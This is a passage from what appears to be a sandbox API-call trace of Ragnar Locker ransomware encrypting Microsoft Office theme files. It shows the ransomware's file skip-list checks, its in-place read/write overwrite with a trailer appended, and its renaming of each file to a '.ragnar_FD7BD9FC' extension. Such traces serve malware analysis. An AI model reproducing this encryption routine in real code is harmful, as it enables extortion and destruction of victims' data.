lpString2="ntuser.dat") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="ntuser.dat.log") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="ntuser.ini") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="thumbs.db") returned -1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.784] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0093.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.786] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21089) returned 1 [0093.786] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.786] GetProcessHeap () returned 0x580000 [0093.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.786] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.787] VirtualAlloc (lpAddress=0x0, dwSize=0x5261, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.787] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.787] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.787] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5261, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5261, lpOverlapped=0x0) returned 1 [0093.788] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.788] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5261, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.788] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5261, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5261, lpOverlapped=0x0) returned 1 [0093.789] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5261, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.789] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.789] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5261, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.789] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.789] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.789] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.789] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.789] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.789] GetProcessHeap () returned 0x580000 [0093.789] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.789] CloseHandle (hObject=0x98) returned 1 [0093.789] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" [0093.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.ragnar_FD7BD9FC" [0093.790] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.790] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1 [0093.790] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.790] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Angles.eftx" | out: lpString1="Angles.eftx") returned="Angles.eftx" [0093.790] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned=".eftx" [0093.790] lstrcmpiW (lpString1="Angles.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.790] lstrcmpiW (lpString1="Angles.eftx", lpString2="autorun.inf") returned -1 [0093.790] lstrcmpiW (lpString1="Angles.eftx", lpString2="boot.ini") returned -1 [0093.790] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootfont.bin") returned -1 [0093.790] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootsect.bak") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootmgr") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootmgr.efi") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootmgfw.efi") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="desktop.ini") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="iconcache.db") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="ntldr") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="ntuser.dat") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="ntuser.dat.log") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="ntuser.ini") returned -1 [0093.791] lstrcmpiW (lpString1="Angles.eftx", lpString2="thumbs.db") returned -1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.791] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0093.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.792] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27365) returned 1 [0093.792] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6adc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.792] GetProcessHeap () returned 0x580000 [0093.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.792] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.794] VirtualAlloc (lpAddress=0x0, dwSize=0x6ae5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.794] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.794] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.794] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ae5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6ae5, lpOverlapped=0x0) returned 1 [0093.795] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.796] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ae5, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.796] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ae5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6ae5, lpOverlapped=0x0) returned 1 [0093.796] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ae5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.796] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.796] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x6ae5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.796] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.796] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.796] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.797] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.797] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.797] GetProcessHeap () returned 0x580000 [0093.797] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.797] CloseHandle (hObject=0x98) returned 1 [0093.797] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" [0093.797] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.ragnar_FD7BD9FC" [0093.797] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.798] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1 [0093.798] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.798] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Apex.eftx" | out: lpString1="Apex.eftx") returned="Apex.eftx" [0093.798] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned=".eftx" [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="autorun.inf") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="boot.ini") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="bootfont.bin") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="bootsect.bak") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="bootmgr") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="bootmgr.efi") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="bootmgfw.efi") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="desktop.ini") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="iconcache.db") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="ntldr") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="ntuser.dat") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="ntuser.dat.log") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="ntuser.ini") returned -1 [0093.798] lstrcmpiW (lpString1="Apex.eftx", lpString2="thumbs.db") returned -1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.798] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0093.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.799] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=218310) returned 1 [0093.799] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x354bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.799] GetProcessHeap () returned 0x580000 [0093.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.799] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.801] VirtualAlloc (lpAddress=0x0, dwSize=0x354c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.801] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.801] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.801] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x354c6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x354c6, lpOverlapped=0x0) returned 1 [0093.806] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.807] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x354c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.807] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x354c6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x354c6, lpOverlapped=0x0) returned 1 [0093.808] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x354c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.808] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.809] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x354c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.809] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.809] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.809] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.809] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.810] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.810] GetProcessHeap () returned 0x580000 [0093.810] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.810] CloseHandle (hObject=0x98) returned 1 [0093.810] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" [0093.810] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.ragnar_FD7BD9FC" [0093.810] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.811] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1 [0093.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.811] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Apothecary.eftx" | out: lpString1="Apothecary.eftx") returned="Apothecary.eftx" [0093.811] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned=".eftx" [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="autorun.inf") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="boot.ini") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="bootfont.bin") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="bootsect.bak") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="bootmgr") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="bootmgr.efi") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="bootmgfw.efi") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="desktop.ini") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="iconcache.db") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="ntldr") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="ntuser.dat") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="ntuser.dat.log") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="ntuser.ini") returned -1 [0093.811] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="thumbs.db") returned -1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.811] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 